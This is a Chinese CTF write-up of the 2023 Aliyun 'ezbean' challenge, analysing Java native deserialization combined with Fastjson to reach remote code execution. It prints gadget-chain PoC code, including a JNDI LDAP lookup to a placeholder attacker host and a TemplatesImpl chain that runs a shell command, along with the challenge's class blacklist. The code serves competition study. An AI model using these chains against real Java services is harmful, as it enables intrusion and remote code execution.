2023 Aliyun CTF ezbean 是一道 CTF java 反序列化题目。题目的目的是让选手通过一个 java 原生反序列化入口,最终达成 RCE。本文对题目的几种解法做了具体的分析,主要分为预期解法和非预期解法两种思路。通过对 Fastjson 在反序列化的行为分析,从两个方向攻克本题。
01
预期解
package
com.ctf.ezser.utils;
import
java.io.IOException;
import
java.io.InputStream;
import
java.io.InvalidClassException;
import
java.io.ObjectInputStream;
import
java.io.ObjectStreamClass;
import
java.util.Arrays;
import
java.util.HashSet;
import
java.util.Set;
public
class
MyObjectInputStream
extends
ObjectInputStream
{
private
static
final
String[] blacklist =
new
String[]{
"java\.security.*"
,
"java\.rmi.*"
,
"com\.fasterxml.*"
,
"com\.ctf\.*"
,
"org\.springframework.*"
,
"org\.yaml.*"
,
"javax\.management\.remote.*"
};
public
MyObjectInputStream
(InputStream inputStream)
throws
IOException
{
super
(inputStream);
}
protected
Class
resolveClass
(ObjectStreamClass cls)
throws
IOException, ClassNotFoundException
{
if
(!contains(cls.getName())) {
return
super
.resolveClass(cls);
}
else
{
throw
new
InvalidClassException(
"Unexpected serialized class"
, cls.getName());
}
}
public
static
boolean
contains
(String targetValue)
{
for
(String forbiddenPackage : blacklist) {
if
(targetValue.matches(forbiddenPackage))
return
true
;
}
return
false
;
}
}
package com.ctf.ezser.bean;
import java.io.IOException;
import java.io.Serializable;
import javax.management.remote.JMXConnector;
public class MyBean implements Serializable {
private Object url;
private Object message;
private JMXConnector conn;
public MyBean() {}
public MyBean(Object url, Object message) {
this.url = url;
this.message = message;
}
public MyBean(Object url, Object message, JMXConnector conn) {
this.url = url;
this.message = message;
this.conn = conn;
}
public String getConnect() throws IOException {
try {
this.conn.connect();
return "success";
} catch (IOException var2) {
return "fail";
}
}
public void connect() {}
public Object getMessage() {
return this.message;
}
public void setMessage(Object message) {
this.message = message;
}
public Object getUrl() {
return this.url;
}
public void setUrl(Object url) {
this.url = url;
}
}
这里 name 就是 classname 类名。expectClass 为 null。按照这里 autoTypeSupport 应该为 true 才不会 throw error,但是我们实际尝试发现其实并不会报错,但是我们也并没有手动开启 autoType。
这是因为在调用 checkAutoType 函数时我们传入的最后一个参数为 Feature.SupportAutoType.mask 。
而我们进行比较时用的是 feature & Feature.SupportAutoType.mask ,这里 feature 就是我们传入的 Feature.SupportAutoType.mask,这样就相当于传入了开启 autoType 的选项。
JSONObject json=
new
JSONObject();
JMXServiceURL jmxServiceURL =
new
JMXServiceURL(
"service:jmx:rmi:///jndi/ldap://xxx.xxx.xxx.xxx:1389/Tomcat"
);
RMIConnector rmiConnector =
new
RMIConnector(jmxServiceURL,
null
);
MyBean myBean =
new
MyBean(
"a"
,
"a"
, rmiConnector);
json.put(
"YYY"
, myBean);
BadAttributeValueExpException poc =
new
BadAttributeValueExpException(
1
);
Field val = Class.forName(
"javax.management.BadAttributeValueExpException"
).getDeclaredField(
"val"
);
val.setAccessible(
true
);
val.
set
(poc,json);
byte
[] code = serialize(poc);
deserialize(code);
exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class javax.management.remote.rmi.RMIConnector at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:516) at com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:221)
会在上层代码尝试从缓存获取类中拿到类因而提前返回。也就走不到 JavaBeanInfo.build 这一步,也就不会报错找不到默认构造函数了。因此只需要多打几次 payload 就能成功 rce 。
02
非预期解
Y4tacker 师傅前段时间发布了一篇(https://paper.seebug.org/2055/)关于
的文章,文中提到低版本才能利用,但其实高版本也能利用,这是因为后来有师傅提出可以利用 java 序列化机制中的引用机制来进行绕过
-
https://www.cnpanda.net/sec/928.html -
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/#%E5%AE%8C%E6%95%B4%E5%88%A9%E7%94%A8
Object tpl = createTemplatesImpl("open -a Calculator.app");
JSONObject jsonObject = new JSONObject();
jsonObject.put("gg",tpl);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,jsonObject);
Object tpl = createTemplatesImpl("open -a Calculator.app");
JSONObject jsonObject = new JSONObject();
jsonObject.put("gg",tpl);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,jsonObject);
HashMap hashMap = new HashMap();
hashMap.put(tpl,poc);
byte[] code = serialize(poc);
deserialize(code);
03
总结
原文始发于微信公众号(Yak Project):Fastjson 结合 jdk 原生反序列化的利用手法 ( Aliyun CTF )
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